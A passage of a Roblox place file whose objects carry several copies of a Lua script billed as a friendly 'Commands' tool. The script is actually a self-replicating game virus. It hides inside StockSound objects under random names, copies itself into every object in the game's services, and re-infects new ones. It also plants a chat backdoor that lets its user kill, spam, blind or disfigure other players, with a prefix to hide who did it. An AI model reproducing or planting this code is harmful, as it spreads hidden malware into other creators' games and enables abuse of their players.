talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Camera" referent="RBX1">
			<Properties>
				<Ref name="CameraSubject">RBX8</Ref>
				<token name="CameraType">5</token>
				<CoordinateFrame name="CoordinateFrame">
					<X>-175.603165</X>
					<Y>80.3709641</Y>
					<Z>0.472151875</Z>
					<R00>0.833755732</R00>
					<R01>0.226629257</R01>
					<R02>-0.503478467</R02>
					<R10>-5.24975752e-009</R10>
					<R11>0.911878169</R11>
					<R12>0.410461009</R12>
					<R20>0.552133441</R20>
					<R21>-0.342224211</R21>
					<R22>0.760283649</R22>
				</CoordinateFrame>
				<CoordinateFrame name="Focus">
					<X>-168.048706</X>
					<Y>74.2121887</Y>
					<Z>-10.9355478</Z>
					<R00>0.67888546</R00>
					<R01>-2.94506792e-021</R01>
					<R02>0.734244168</R02>
					<R10>4.12693211e-021</R10>
					<R11>1</R11>
					<R12>1.95240083e-022</R12>
					<R20>-0.734244168</R20>
					<R21>2.89763025e-021</R21>
					<R22>0.67888546</R22>
				</CoordinateFrame>
				<string name="Name">Instance</string>
				<bool name="archivable">true</bool>
			</Properties>
		</Item>
		<Item class="StockSound" referent="RBX9">
			<Properties>
				<bool name="Looped">false</bool>
				<string name="Name">rh0qq80d</string>
				<int name="PlayCount">-1</int>
				<bool name="PlayOnRemove">false</bool>
				<Content name="SoundId"><null></null></Content>
				<float name="Volume">0.5</float>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Script" referent="RBX10">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">n0vunfi</string>
					<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX11">
			<Properties>
				<token name="Controller">7</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Figure</string>
				<Ref name="PrimaryPart">RBX12</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX12">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">12</int>
					<CoordinateFrame name="CFrame">
						<X>2</X>
						<Y>4.79890823</Y>
						<Z>107.5</Z>
						<R00>-1</R00>
						<R01>-3.96310834e-021</R01>
						<R02>-3.01117346e-022</R02>
						<R10>-3.96310834e-021</R10>
						<R11>1</R11>
						<R12>5.68789786e-021</R12>
						<R20>3.01117346e-022</R20>
						<R21>5.68789786e-021</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Head</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>2</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX13">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">0</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.25</X>
							<Y>1.25</Y>
							<Z>1.25</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX14">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">z91xw8</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX15">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">kuktzitr</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
